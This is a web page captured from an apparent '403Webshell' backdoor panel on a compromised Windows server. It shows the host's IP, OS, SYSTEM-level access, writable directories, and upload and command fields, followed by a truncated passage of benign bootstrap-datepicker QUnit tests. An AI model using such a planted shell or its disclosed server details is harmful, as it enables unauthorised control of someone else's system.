403Webshell
Server IP : 104.21.80.248  /  Your IP : 162.159.115.41
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/news/edu2018/bower_components/bootstrap-datepicker/tests/suites/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/news/edu2018/bower_components/bootstrap-datepicker/tests/suites//options.js
module('Options', {
    setup: function(){},
    teardown: function(){
        $('#qunit-fixture *').each(function(){
            var t = $(this);
            if ('datepicker' in t.data())
                t.datepicker('remove');
        });
    }
});

test('Autoclose', function(){
    var input = $('<input />')
                .appendTo('#qunit-fixture')
                .val('2012-03-05')
                .datepicker({
                    format: 'yyyy-mm-dd',
                    autoclose: true
                }),
        dp = input.data('datepicker'),
        picker = dp.picker,
        target;


    input.focus();
    ok(picker.is(':visible'), 'Picker is visible');
    target = picker.find('.datepicker-days tbody td:nth(7)');
    equal(target.text(), '4'); // Mar 4

    target.click();
    ok(picker.is(':not(:visible)'), 'Picker is hidden');
    datesEqual(dp.dates[0], UTCDate(2012, 2, 4));
    datesEqual(dp.viewDate, UTCDate(2012, 2, 4));
});

test('Custom date formatter functions', function(){
    var input = $('<input />')
                .appendTo('#qunit-fixture')
                .val('2015-09-18T00:00:00.000Z')
                .datepicker({
                    format: {
                        /*
                        Say our UI should display a week ahead,
                        but textbox should store the actual date.
                        This is useful if we need UI to select local dates,
                        but store in UTC
                        */
                        toDisplay: function (date, format, language) {
                            var d = new Date(date);
                            d.setDate(d.getDate() - 7);
                            return d.toISOString();
                        },
                        toValue: function (date, format, language) {
                            var d = new Date(date);
                            d.setDate(d.getDate() + 7);
                            return new Date(d);
                        }
                    },
                    autoclose: true
                }),
        dp = input.data('datepicker'),
        picker = dp.picker,
        target;
    //Value is ISO format and is 7 days older than UI
    equal(input.val(), '2015-09-18T00:00:00.000Z');
    datesEqual(dp.dates[0], UTCDate(2015, 8, 25));
    datesEqual(dp.viewDate, UTCDate(2015, 8, 25));

    input.focus();
    ok(picker.is(':visible'), 'Picker is visible');
    target = picker.find('.datepicker-days tbody td:nth(5)');
    equal(target.text(), '4'); // Sep 4

    target.click();
    ok(picker.is(':not(:visible)'), 'Picker is hidden');
    //Value is now 28th Aug 2015 in ISO format
    //and is 7 days older than UI
    equal(input.val(), '2015-08-28T00:00:00.000Z');
    datesEqual(dp.dates[0], UTCDate(2015, 8, 4));
    datesEqual(dp.viewDate, UTCDate(2015, 8, 4));
});

test('Startview: year view (integer)', function(){
    var input = $('<input />')
                .appendTo('#qunit-fixture')
                .val('2012-03-05')
                .datepicker({
                    format: 'yyyy-mm-dd',
                    startView: 1
                }),
        dp = input.data('datepicker'),
        picker = dp.picker,
        target;

    input.focus();
    ok(picker.find('.datepicker-days').is(':not(:visible)'), 'Days view hidden');
    ok(picker.find('.datepicker-months').is(':visible'), 'Months view visible');
    ok(picker.find('.datepicker-years').is(':not(:visible)'), 'Years view hidden');
    ok(picker.find('.datepicker-decades').is(':not(:visible)'), 'Decades view hidden');
    ok(picker.find('.datepicker-centuries').is(':not(:visible)'), 'Centuries view hidden');
});

test('Startview: year view (string)', function(){
    var input = $('<input />')
                .appendTo('#qunit-fixture')
                .val('2012-03-05')
                .datepicker({
                    format: 'yyyy-mm-dd',
                    startView: 'year'
                }),
        dp = input.data('datepicker'),
        picker = dp.picker,
        target;

    input.focus();
    ok(picker.find('.datepicker-days').is(':not(:visible)'), 'Days view hidden');
    ok(picker.find('.datepicker-months').is(':visible'), 'Months view visible');
    ok(picker.find('.datepicker-years').is(':not(:visible)'), 'Years view hidden');
    ok(picker.find('.datepicker-decades').is(':not(:visible)'), 'Decades view hidden');
    ok(picker.find('.datepicker-centuries').is(':not(:visible)'), 'Centuries view hidden');
});

test('Startview: decade view (integer)', function(){
    var input = $('<input />')
                .appendTo('#qunit-fixture')
                .val('2012-03-05')
                .datepicker({
                    format: 'yyyy-mm-dd',
                    startView: 2
                }),
        dp = input.data('datepicker'),
        picker = dp.picker,
        target;

    input.focus();
    ok(picker.find('.datepicker-days').is(':not(:visible)'), 'Days view hidden');
    ok(picker.find('.datepicker-months').is(':not(:visible)'), 'Months view hidden');
    ok(picker.find('.datepicker-years').is(':visible'), 'Years view visible');
    ok(picker.find('.datepicker-decades').is(':not(:visible)'), 'Decades view hidden');
    ok(picker.find('.datepicker-centuries').is(':not(:visible)'), 'Centuries view hidden');
});

test('Startview: decade view (string)', function(){
    var input = $('<input />')
                .appendTo('#qunit-fixture')
                .val('2012-03-05')
                .datepicker({
                    format: 'yyyy-mm-dd',
                    startView: 'decade'
                }),
        dp = input.data('datepicker'),
        picker = dp.picker,
        target;

    input.focus();
    ok(picker.find('.datepicker-days').is(':not(:visible)'), 'Days view hidden');
    ok(picker.find('.datepicker-months').is(':not(:visible)'), 'Months view hidden');
    ok(picker.find('.datepicker-years').is(':visible'), 'Years view visible');
    ok(picker.find('.datepicker-decades').is(':not(:visible)'), 'Decades view hidden');
    ok(picker.find('.datepicker-centuries').is(':not(:visible)'), 'Centuries view hidden');
});

test('Startview: century view (integer)', function(){
    var input = $('<input />')
                .appendTo('#qunit-fixture')
                .val('2012-03-05')
                .datepicker({
                    format: 'yyyy-mm-dd',
                    startView: 3
                }),
        dp = input.data('datepicker'),
        picker = dp.picker,
        target;

    input.focus();
    ok(picker.find('.datepicker-days').is(':not(:visible)'), 'Days view hidden');
    ok(picker.find('.datepicker-months').is(':not(:visible)'), 'Months view hidden');
    ok(picker.find('.datepicker-years').is(':not(:visible)'), 'Years view hidden');
    ok(picker.find('.datepicker-decades').is(':visible'), 'Decades view visible');
    ok(picker.find('.datepicker-centuries').is(':not(:visible)'), 'Centuries view hidden');
});

test('Startview: century view (string)', function(){
    var input = $('<input />')
                .appendTo('#qunit-fixture')
                .val('2012-03-05')
                .datepicker({
                    format: 'yyyy-mm-dd',
                    startView: 'century'
                }),
        dp = input.data('datepicker'),
        picker = dp.picker,
        target;

    input.focus();
    ok(picker.find('.datepicker-days').is(':not(:visible)'), 'Days view hidden');
    ok(picker.find('.datepicker-months').is(':not(:visible)'), 'Months view hidden');
    ok(picker.find('.datepicker-years').is(':not(:visible)'), 'Years view hidden');
    ok(picker.find('.datepicker-decades').is(':visible'), 'Decades view visible');
    ok(picker.find('.datepicker-centuries').is(':not(:visible)'), 'Centuries view hidden');
});

test('Startview: millennium view (integer)', function(){
    var input = $('<input />')
                .appendTo('#qunit-fixture')
                .val('2012-03-05')
                .datepicker({
                    format: 'yyyy-mm-dd',
                    startView: 4
                }),
        dp = input.data('datepicker'),
        picker = dp.picker,
        target;

    input.focus();
    ok(picker.find('.datepicker-days').is(':not(:visible)'), 'Days view hidden');
    ok(picker.find('.datepicker-months').is(':not(:visible)'), 'Months view hidden');
    ok(picker.find('.datepicker-years').is(':not(:visible)'), 'Years view hidden');
    ok(picker.find('.datepicker-decades').is(':not(:visible)'), 'Decades view hidden');
    ok(picker.find('.datepicker-centuries').is(':visible'), 'Centuries view visible');
});

test('Startview: millennium view (string)', function(){
    var input = $('<input />')
                .appendTo('#qunit-fixture')
                .val('2012-03-05')
                .datepicker({
                    format: 'yyyy-mm-dd',
                    startView: 'millennium'
                }),
        dp = input.data('datepicker'),
        picker = dp.picker,
        target;

    input.focus();
    ok(picker.find('.datepicker-days').is(':not(:visible)'), 'Days view hidden');
    ok(picker.find('.datepicker-months').is(':not(:visible)'), 'Months view hidden');
    ok(picker.find('.datepicker-years').is(':not(:visible)'), 'Years view hidden');
    ok(picker.find('.datepicker-decades').is(':not(:visible)'), 'Decades view hidden');
    ok(picker.find('.datepicker-centuries').is(':visible'), 'Centuries view visible');
});

test('Today Button: today button not default', function(){
    var input = $('<input />')
                .appendTo('#qunit-fixture')
                .val('2012-03-05')
                .datepicker({
                    format: 'yyyy-mm-dd'
                }),
        dp = input.data('datepicker'),
        picker = dp.picker,
        target;

    input.focus();
    ok(picker.find('.datepicker-days').is(':visible'), 'Days view visible');
    ok(picker.find('.datepicker-days tfoot .today').is(':not(:visible)'), 'Today button not visible');
});

test('Today Button: today visibility when enabled', function(){
    var input = $('<input />')
                .appendTo('#qunit-fixture')
                .val('2012-03-05')
                .datepicker({
                    format: 'yyyy-mm-dd',
                    todayBtn: true
                }),
        dp = input.data('datepicker'),
        picker = dp.picker,
        target;

    input.focus();
    ok(picker.find('.datepicker-days').is(':visible'), 'Days view visible');
    ok(picker.find('.datepicker-days tfoot .today').is(':visible'), 'Today button visible');

    picker.find('.datepicker-days thead th.datepicker-switch').click();
    ok(picker.find('.datepicker-months').is(':visible'), 'Months view visible');
    ok(picker.find('.datepicker-months tfoot .today').is(':visible'), 'Today button visible');

    picker.find('.datepicker-months thead th.datepicker-switch').click();
    ok(picker.find('.datepicker-years').is(':visible'), 'Years view visible');
    ok(picker.find('.datepicker-years tfoot .today').is(':visible'), 'Today button visible');
});

test('Today Button: data-api', function(){
    var input = $('<input data-date-today-btn="true" />')
                .appendTo('#qunit-fixture')
                .val('2012-03-05')
                .datepicker({
                    format: 'yyyy-mm-dd'
                }),
        dp = input.data('datepicker'),
        picker = dp.picker,
        target;

    input.focus();
    ok(picker.find('.datepicker-days').is(':visible'), 'Days view visible');
    ok(picker.find('.datepicker-days tfoot .today').is(':visible'), 'Today button visible');
});

test('Today Button: moves to today\'s date', function(){
    var input = $('<input />')
                .appendTo('#qunit-fixture')
                .val('2012-03-05')
                .datepicker({
                    format: 'yyyy-mm-dd',
                    todayBtn: true
                }),
        dp = input.data('datepicker'),
        picker = dp.picker,
        target;

    input.focus();
    ok(picker.find('.datepicker-days').is(':visible'), 'Days view visible');
    ok(picker.find('.datepicker-days tfoot .today').is(':visible'), 'Today button visible');

    target = picker.find('.datepicker-days tfoot .today');
    target.click();

    var d = new Date(),
        today = UTCDate(d.getFullYear(), d.getMonth(), d.getDate());
    datesEqual(dp.viewDate, today);
    datesEqual(dp.dates[0], UTCDate(2012, 2, 5));
});

test('Today Button: moves to days view', function(){
    var viewModes = $.fn.datepicker.DPGlobal.viewModes;
    var input = $('<input />')
                .appendTo('#qunit-fixture')
                .val('2012-03-05')
                .datepicker({
                    format: 'yyyy-mm-dd',
                    startView: viewModes.length - 1,
                    todayBtn: true
                }),
        dp = input.data('datepicker'),
        picker = dp.picker,
        target;

    input.focus();
    target = picker.find('tfoot .today').filter(':visible');

    target.click();
    ok(picker.find('.datepicker-days tfoot .today').is(':visible'), 'Today button visible');
});

test('Today Button: "linked" selects today\'s date', function(){
    var input = $('<input />')
                .appendTo('#qunit-fixture')
                .val('2012-03-05')
                .datepicker({
                    format: 'yyyy-mm-dd',
                    todayBtn: "linked"
                }),
        dp = input.data('datepicker'),
        picker = dp.picker,
        target;

    input.focus();
    ok(picker.find('.datepicker-days').is(':visible'), 'Days view visible');
    ok(picker.find('.datepicker-days tfoot .today').is(':visible'), 'Today button visible');

    target = picker.find('.datepicker-days tfoot .today');
    target.click();

    var d = new Date(),
        today = UTCDate(d.getFullYear(), d.getMonth(), d.getDate());
    datesEqual(dp.viewDate, today);
    datesEqual(dp.dates[0], today);
});

test('Today Highlight: today\'s date is not highlighted by default', patch_date(function(Date){
    Date.now = UTCDate(2012, 2, 15);
    var input = $('<input />')
                .appendTo('#qunit-fixture')
                .val('2012-03-05')
                .datepicker({
                    format: 'yyyy-mm-dd'
                }),
        dp = input.data('datepicker'),
        picker = dp.picker,
        target;

    input.focus();
    ok(picker.find('.datepicker-days').is(':visible'), 'Days view visible');
    equal(picker.find('.datepicker-days thead .datepicker-switch').text(), 'March 2012', 'Title is "March 2012"');

    target = picker.find('.datepicker-days tbody td:contains(15)');
    ok(!target.hasClass('today'), 'Today is not marked with "today" class');
    target = picker.find('.datepicker-days tbody td:contains(14)');
    ok(!target.hasClass('today'), 'Yesterday is not marked with "today" class');
    target = picker.find('.datepicker-days tbody td:contains(16)');
    ok(!target.hasClass('today'), 'Tomorrow is not marked with "today" class');
}));

test('Today Highlight: today\'s date is highlighted when not active', patch_date(function(Date){
    Date.now = new Date(2012, 2, 15);
    var input = $('<input />')
                .appendTo('#qunit-fixture')
                .val('2012-03-05')
                .datepicker({
                    format: 'yyyy-mm-dd',
                    todayHighlight: true
                }),
        dp = input.data('datepicker'),
        picker = dp.picker,
        target;

    input.focus();
    ok(picker.find('.datepicker-days').is(':visible'), 'Days view visible');
    equal(picker.find('.datepicker-days thead .datepicker-switch').text(), 'March 2012', 'Title is "March 2012"');

    target = picker.find('.datepicker-days tbody td:contains(15)');
    ok(target.hasClass('today'), 'Today is marked with "today" class');
    target = picker.find('.datepicker-days tbody td:contains(14)');
    ok(!target.hasClass('today'), 'Yesterday is not marked with "today" class');
    target = picker.find('.datepicker-days tbody td:contains(16)');
    ok(!target.hasClass('today'), 'Tomorrow is not marked with "today" class');
}));

test('Clear Button: clear visibility when enabled', function(){
    var input = $('<input />')
                .appendTo('#qunit-fixture')
                .val('2012-03-05')
                .datepicker({
                    format: 'yyyy-mm-dd',
                    clearBtn: true
                }),
        dp = input.data('datepicker'),
        picker = dp.picker,
        target;

    input.focus();
    ok(picker.find('.datepicker-days').is(':visible'), 'Days view visible');
    ok(picker.find('.datepicker-days tfoot .clear').is(':visible'), 'Clear button visible');

    picker.find('.datepicker-days thead th.datepicker-switch').click();
    ok(picker.find('.datepicker-months').is(':visible'), 'Months view visible');
    ok(picker.find('.datepicker-months tfoot .clear').is(':visible'), 'Clear button visible');

    picker.find('.datepicker-months thead th.datepicker-switch').click();
    ok(picker.find('.datepicker-years').is(':visible'), 'Years view visible');
    ok(picker.find('.datepicker-years tfoot .clear').is(':visible'), 'Clear button visible');
});

test('Clear Button: clears input value', function(){
    var input = $('<input />')
                .appendTo('#qunit-fixture')
                .val('2012-03-05')
                .datepicker({
                    format: 'yyyy-mm-dd',
                    clearBtn: true
                }),
        dp = input.data('datepicker'),
        picker = dp.picker,
        target;

    input.focus();
    ok(picker.find('.datepicker-days').is(':visible'), 'Days view visible');
    ok(picker.find('.datepicker-days tfoot .clear').is(':visible'), 'Today button visible');

    target = picker.find('.datepicker-days tfoot .clear');
    target.click();

    equal(input.val(),'',"Input value has been cleared.");
    ok(picker.is(':visible'), 'Picker is visible');
});

test('Clear Button: hides datepicker if autoclose is on', function(){
    var input = $('<input />')
                .appendTo('#qunit-fixture')
                .val('2012-03-05')
                .datepicker({
                    format: 'yyyy-mm-dd',
                    clearBtn: true,
                    autoclose: true
                }),
        dp = input.data('datepicker'),
        picker = dp.picker,
        target;

    input.focus();
    ok(picker.find('.datepicker-days').is(':visible'), 'Days view visible');
    ok(picker.find('.datepicker-days tfoot .clear').is(':visible'), 'Today button visible');

    target = picker.find('.datepicker-days tfoot .clear');
    target.click();

    equal(input.val(),'',"Input value has been cleared.");
    ok(picker.is(':not(:visible)'), 'Picker is hidden');
});

test('Active Toggle Default: when active date is selected it is not unset', function(){
    var input = $('<input />')
                .appendTo('#qunit-fixture')
                .val('2012-03-05')
                .datepicker({
                    format: 'yyyy-mm-dd'
                }),
        dp = input.data('datepicker'),
        picker = dp.picker,
        target;

    // open our datepicker
    input.focus();

    // Initial value is selected
    ok(dp.dates.contains(UTCDate(2012, 2, 5)) !== -1, '2012-03-05 selected');

    // click on our active date
    target = picker.find('.datepicker-days .day.active');
    target.click();

    // make sure it's still set
    equal(input.val(), '2012-03-05', "Input value has not been cleared.");
});

test('Active Toggle Enabled (single date): when active date is selected it is unset', function(){
    var input = $('<input />')
                .appendTo('#qunit-fixture')
                .val('2012-03-05')
                .datepicker({
                    format: 'yyyy-mm-dd',
                    toggleActive: true
                }),
        dp = input.data('datepicker'),
        picker = dp.picker,
        target;

    // open our datepicker
    input.focus();

    // Initial value is selected
    ok(dp.dates.contains(UTCDate(2012, 2, 5)) !== -1, '2012-03-05 selected');

    // click on our active date
    target = picker.find('.datepicker-days .day.active');
    target.click();

    // make sure it's no longer set
    equal(input.val(), '', "Input value has been cleared.");
});

test('Active Toggle Multidate Default: when one of the active dates is selected it is unset', function(){
    var input = $('<input />')
                .appendTo('#qunit-fixture')
                .val('2012-03-05')
                .datepicker({
                    format: 'yyyy-mm-dd',
                    multidate: true
                }),
        dp = input.data('datepicker'),
        picker = dp.picker,
        target;

    // open our datepicker
    input.focus();

    // Initial value is selected
    ok(dp.dates.contains(UTCDate(2012, 2, 5)) !== -1, '2012-03-05 in dates');

    // Select additional date
    target = picker.find('.datepicker-days tbody td:nth(7)');
    target.click();
    datesEqual(dp.dates.get(-1), UTCDate(2012, 2, 4), '2012-03-04 in dates');
    datesEqual(dp.viewDate, UTCDate(2012, 2, 4));
    equal(input.val(), '2012-03-05,2012-03-04');

    // Unselect additional date
    target = picker.find('.datepicker-days tbody td:nth(7)');
    target.click();
    ok(dp.dates.contains(UTCDate(2012, 2, 4)) === -1, '2012-03-04 no longer in dates');
    datesEqual(dp.viewDate, UTCDate(2012, 2, 4));
    equal(input.val(), '2012-03-05');
});

test('Active Toggle Disabled: when active date is selected it remains', function(){
    var input = $('<input />')
                .appendTo('#qunit-fixture')
                .val('2012-03-05')
                .datepicker({
                    format: 'yyyy-mm-dd',
                    toggleActive: false
                }),
        dp = input.data('datepicker'),
        picker = dp.picker,
        target;

    // open our datepicker
    input.focus();

    // Initial value is selected
    ok(dp.dates.contains(UTCDate(2012, 2, 5)) !== -1, '2012-03-05 selected');

    // click on our active date
    target = picker.find('.datepicker-days .day.active');
    target.click();

    // make sure it's still set
    ok(dp.dates.contains(UTCDate(2012, 2, 5)) !== -1, '2012-03-05 still selected');
    datesEqual(dp.viewDate, UTCDate(2012, 2, 5));
    equal(input.val(), '2012-03-05');
});

test('Active Toggle Multidate Disabled: when activeToggle is set to false, but multidate is set, the option is ignored and selecting an active date it is unset', function(){
    var input = $('<input />')
                .appendTo('#qunit-fixture')
                .val('2012-03-05')
                .datepicker({
                    format: 'yyyy-mm-dd',
                    multidate: true,
                    toggleActive: false
                }),
        dp = input.data('datepicker'),
        picker = dp.picker,
        target;

    // open our datepicker
    input.focus();

    // Initial value is selected
    ok(dp.dates.contains(UTCDate(2012, 2, 5)) !== -1, '2012-03-05 in dates');

    // Select additional date
    target = picker.find('.datepicker-days tbody td:nth(7)');
    target.click();
    datesEqual(dp.dates.get(-1), UTCDate(2012, 2, 4), '2012-03-04 in dates');
    datesEqual(dp.viewDate, UTCDate(2012, 2, 4));
    equal(input.val(), '2012-03-05,2012-03-04');

    // Unselect additional date
    target = picker.find('.datepicker-days tbody td:nth(7)');
    target.click();
    ok(dp.dates.contains(UTCDate(2012, 2, 4)) === -1, '2012-03-04 no longer in dates');
    datesEqual(dp.viewDate, UTCDate(2012, 2, 4));
    equal(input.val(), '2012-03-05');
});

test('DaysOfWeekDisabled', function(){
    var input = $('<input />')
                .appendTo('#qunit-fixture')
                .val('2012-10-26')
                .datepicker({
                    format: 'yyyy-mm-dd',
                    daysOfWeekDisabled: '1,5'
                }),
        dp = input.data('datepicker'),
        picker = dp.picker,
        target;

    input.focus();
    target = picker.find('.datepicker-days tbody td:nth(22)');
    ok(target.hasClass('disabled'), 'Day of week is disabled');
    target = picker.find('.datepicker-days tbody td:nth(24)');
    ok(!target.hasClass('disabled'), 'Day of week is enabled');
    target = picker.find('.datepicker-days tbody td:nth(26)');
    ok(target.hasClass('disabled'), 'Day of week is disabled');
});

test('DaysOfWeekHighlighted', function(){
    var input = $('<input />')
                .appendTo('#qunit-fixture')
                .val('2012-10-26')
                .datepicker({
                    format: 'yyyy-mm-dd',
                    startDate: '2012-10-02',
                    daysOfWeekHighlighted: '1,5'
                }),
        dp = input.data('datepicker'),
        picker = dp.picker,
        target;

    input.focus();
    target = picker.find('.datepicker-days tbody td:nth(0)');
    ok(!target.hasClass('highlighted'), 'Day of week is not highlighted');
    target = picker.find('.datepicker-days tbody td:nth(22)');
    ok(target.hasClass('highlighted'), 'Day of week is highlighted');
    target = picker.find('.datepicker-days tbody td:nth(24)');
    ok(!target.hasClass('highlighted'), 'Day of week is not highlighted');
    target = picker.find('.datepicker-days tbody td:nth(26)');
    ok(target.hasClass('highlighted'), 'Day of week is highlighted');
});

test('DatesDisabled', function(){
    var input = $('<input />')
                .appendTo('#qunit-fixture')
                .val('2012-10-26')
                .datepicker({
                    format: 'yyyy-mm-dd',
                    datesDisabled: ['2012-10-1', '2012-10-10', '2012-10-20']
                }),
        dp = input.data('datepicker'),
        picker = dp.picker,
        target;

    input.focus();
    target = picker.find('.datepicker-days tbody td:nth(1)');
    ok(target.hasClass('disabled'), 'Day of week is disabled');
    ok(target.hasClass('disabled-date'), 'Date is disabled');
    target = picker.find('.datepicker-days tbody td:nth(2)');
    ok(!target.hasClass('disabled'), 'Day of week is enabled');
    target = picker.find('.datepicker-days tbody td:nth(10)');
    ok(target.hasClass('disabled'), 'Day of week is disabled');
    ok(target.hasClass('disabled-date'), 'Date is disabled');
    target = picker.find('.datepicker-days tbody td:nth(11)');
    ok(!target.hasClass('disabled'), 'Day of week is enabled');
    target = picker.find('.datepicker-days tbody td:nth(20)');
    ok(target.hasClass('disabled'), 'Day of week is disabled');
    ok(target.hasClass('disabled-date'), 'Date is disabled');
    target = picker.find('.datepicker-days tbody td:nth(21)');
    ok(!target.hasClass('disabled'), 'Day of week is enabled');
});

test('DatesDisabled as attribute', function(){
    var input = $('<input data-date-dates-disabled="2012-10-1,2012-10-10,2012-10-20" />')
                .appendTo('#qunit-fixture')
                .val('2012-10-26')
                .datepicker({
                    format: 'yyyy-mm-dd'
                }),
        dp = input.data('datepicker'),
        picker = dp.picker,
        target;

    input.focus();
    target = picker.find('.datepicker-days tbody td:nth(1)');
    ok(target.hasClass('disabled'), 'Day of week is disabled');
    ok(target.hasClass('disabled-date'), 'Date is disabled');
    target = picker.find('.datepicker-days tbody td:nth(2)');
    ok(!target.hasClass('disabled'), 'Day of week is enabled');
    target = picker.find('.datepicker-days tbody td:nth(10)');
    ok(target.hasClass('disabled'), 'Day of week is disabled');
    ok(target.hasClass('disabled-date'), 'Date is disabled');
    target = picker.find('.datepicker-days tbody td:nth(11)');
    ok(!target.hasClass('disabled'), 'Day of week is enabled');
    target = picker.find('.datepicker-days tbody td:nth(20)');
    ok(target.hasClass('disabled'), 'Day of week is disabled');
    ok(target.hasClass('disabled-date'), 'Date is disabled');
    target = picker.find('.datepicker-days tbody td:nth(21)');
    ok(!target.hasClass('disabled'), 'Day of week is enabled');
});

test('BeforeShowDay', function(){

    var beforeShowDay = function(date) {
        switch (date.getDate()){
            case 25:
                return {
                    tooltip: 'Example tooltip',
                    classes: 'active'
                };
            case 26:
                return "test26";
            case 27:
                return {enabled: false, classes: 'test27'};
            case 28:
                return false;
            case 30:
                return { content: "foo" + date.getDate() }
        }
    };

    var input = $('<input />')
                .appendTo('#qunit-fixture')
                .val('2012-10-26')
                .datepicker({
                    format: 'yyyy-mm-dd',
                    beforeShowDay: beforeShowDay
                }),
        dp = input.data('datepicker'),
        picker = dp.picker,
        target;

    input.focus();
    target = picker.find('.datepicker-days tbody td:nth(25)');
    equal(target.attr('title'), 'Example tooltip', '25th has tooltip');
    ok(!target.hasClass('disabled'), '25th is enabled');
    target = picker.find('.datepicker-days tbody td:nth(26)');
    ok(target.hasClass('test26'), '26th has test26 class');
    ok(!target.hasClass('disabled'), '26th is enabled');
    target = picker.find('.datepicker-days tbody td:nth(27)');
    ok(target.hasClass('test27'), '27th has test27 class');
    ok(target.hasClass('disabled'), '27th is disabled');
    target = picker.find('.datepicker-days tbody td:nth(28)');
    ok(target.hasClass('disabled'), '28th is disabled');
    target = picker.find('.datepicker-days tbody td:nth(29)');
    ok(!target.hasClass('disabled'), '29th is enabled');
    target = picker.find('.datepicker-days tbody td:nth(30)');
    ok(target.text() == "foo30", '30th has custom content');
});

test('BeforeShowMonth regress .day content', function() {
    var input = $('<input />')
        .appendTo('#qunit-fixture')
        .val('2012-10-26')
        .datepicker({
            format: 'yyyy-mm-dd',
            beforeShowDay: function(date) {
                return {
                    content: '<strong>foo123</strong>'
                };
            }
        }),
        dp = input.data('datepicker'),
        picker = dp.picker,
        target;

    input.focus();
    target = picker.find('.datepicker-days tbody td:nth(30)');
    target.trigger('click');
    datesEqual(dp.viewDate, UTCDate(2012, 9, 30));
});

test('BeforeShowMonth', function () {

    var beforeShowMonth = function (date) {
        switch (date.getMonth()) {
            case 0:
                return {
                    tooltip: 'Example tooltip',
                    classes: 'active'
                };
            case 2:
                return "testMarch";
            case 4:
                return {enabled: false, classes: 'testMay'};
            case 5:
                return false;
        }
    };

    var input = $('<input />')
            .appendTo('#qunit-fixture')
            .val('2012-10-26')
            .datepicker({
                format: 'yyyy-mm-dd',
                beforeShowMonth: beforeShowMonth
            }),
        dp = input.data('datepicker'),
        picker = dp.picker,
        target;

    input.focus();
    target = picker.find('.datepicker-months tbody span:nth(0)');
    equal(target.attr('title'), 'Example tooltip', '1st has tooltip');
    ok(!target.hasClass('disabled'), 'January is enabled');
    target = picker.find('.datepicker-months tbody span:nth(2)');
    ok(target.hasClass('testMarch'), 'March has testMarch class');
    ok(!target.hasClass('disabled'), 'March enabled');
    target = picker.find('.datepicker-months tbody span:nth(4)');
    ok(target.hasClass('testMay'), 'May has testMay class');
    ok(target.hasClass('disabled'), 'May is disabled');
    target = picker.find('.datepicker-months tbody span:nth(5)');
    ok(target.hasClass('disabled'), 'June is disabled');
    target = picker.find('.datepicker-months tbody span:nth(6)');
    ok(!target.hasClass('disabled'), 'July is enabled');
});


test('BeforeShowYear', function () {

    var beforeShowYear = function (date) {
        switch (date.getFullYear()) {
            case 2013:
                return {
                    tooltip: 'Example tooltip',
                    classes: 'active'
                };
            case 2014:
                return "test2014";
            case 2015:
                return {enabled: false, classes: 'test2015'};
            case 2016:
                return false;
        }
    };

    var input = $('<input />')
            .appendTo('#qunit-fixture')
            .val('2012-10-26')
            .datepicker({
                format: 'yyyy-mm-dd',
                beforeShowYear: beforeShowYear
            }),
        dp = input.data('datepicker'),
        picker = dp.picker,
        target;

    input.focus();
    target = picker.find('.datepicker-years tbody span:nth(4)');
    equal(target.attr('title'), 'Example tooltip', '5th has tooltip');
    ok(!target.hasClass('disabled'), '2013, 5th is enabled');
    target = picker.find('.datepicker-years tbody span:nth(5)');
    ok(target.hasClass('test2014'), '6th has test2014 class');
    ok(!target.hasClass('disabled'), '2014, 6th is enabled');
    target = picker.find('.datepicker-years tbody span:nth(6)');
    ok(target.hasClass('test2015'), '2015, 7th has test2015 class');
    ok(target.hasClass('disabled'), '2015, 7th is disabled');
    target = picker.find('.datepicker-years tbody span:nth(7)');
    ok(target.hasClass('disabled'), '2016, 8th is disabled');
    target = picker.find('.datepicker-years tbody span:nth(8)');
    ok(!target.hasClass('disabled'), '2017, 9th is enabled');
});

test('beforeShowDecade', function () {
    var beforeShowDecade = function (date) {
        switch (date.getFullYear()) {
            case 2030:
                return {
                    tooltip: 'Example tooltip',
                    classes: 'active'
                };
            case 2040:
                return "test2040";
            case 2050:
                return {enabled: false, classes: 'test2050'};
            case 2060:
                return false;
        }
    };

    var input = $('<input />')
            .appendTo('#qunit-fixture')
            .val('03/05/2012')
            .datepicker({ beforeShowDecade: beforeShowDecade }),
        dp = input.data('datepicker'),
        picker = dp.picker,
        target;

    input.focus();
    target = picker.find('.datepicker-decades tbody span:nth(4)');
    equal(target.attr('title'), 'Example tooltip', '5th has tooltip');
    ok(!target.hasClass('disabled'), '2030, 5th is enabled');

    target = picker.find('.datepicker-decades tbody span:nth(5)');
    ok(target.hasClass('test2040'), '6th has test2040 class');
    ok(!target.hasClass('disabled'), '2040, 6th is enabled');

    target = picker.find('.datepicker-decades tbody span:nth(6)');
    ok(target.hasClass('test2050'), '2050, 7th has test2050 class');
    ok(target.hasClass('disabled'), '2050, 7th is disabled');

    target = picker.find('.datepicker-decades tbody span:nth(7)');
    ok(target.hasClass('disabled'), '2060, 8th is disabled');

    target = picker.find('.datepicker-decades tbody span:nth(8)');
    ok(!target.hasClass('disabled'), '2070, 9th is enabled');
});

test('beforeShowCentury', function () {
    var beforeShowCentury = function (date) {
        switch (date.getFullYear()) {
            case 2300:
                return {
                    tooltip: 'Example tooltip',
                    classes: 'active'
                };
            case 2400:
                return "test2400";
            case 2500:
                return {enabled: false, classes: 'test2500'};
            case 2600:
                return false;
        }
    };

    var input = $('<input />')
            .appendTo('#qunit-fixture')
            .val('03/05/2012')
            .datepicker({ beforeShowCentury: beforeShowCentury }),
        dp = input.data('datepicker'),
        picker = dp.picker,
        target;

    input.focus();
    target = picker.find('.datepicker-centuries tbody span:nth(4)');
    equal(target.attr('title'), 'Example tooltip', '5th has tooltip');
    ok(!target.hasClass('disabled'), '2300, 5th is enabled');

    target = picker.find('.datepicker-centuries tbody span:nth(5)');
    ok(target.hasClass('test2400'), '6th has test2400 class');
    ok(!target.hasClass('disabled'), '2400, 6th is enabled');

    target = picker.find('.datepicker-centuries tbody span:nth(6)');
    ok(target.hasClass('test2500'), '2500, 7th has test2500 class');
    ok(target.hasClass('disabled'), '2500, 7th is disabled');

    target = picker.find('.datepicker-centuries tbody span:nth(7)');
    ok(target.hasClass('disabled'), '2600, 8th is disabled');

    target = picker.find('.datepicker-centuries tbody span:nth(8)');
    ok(!target.hasClass('disabled'), '2700, 9th is enabled');
});

test('Orientation: values are parsed correctly', function(){

    var input = $('<input />')
                .appendTo('#qunit-fixture')
                .val('2012-10-26')
                .datepicker({
                    format: 'yyyy-mm-dd'
                }),
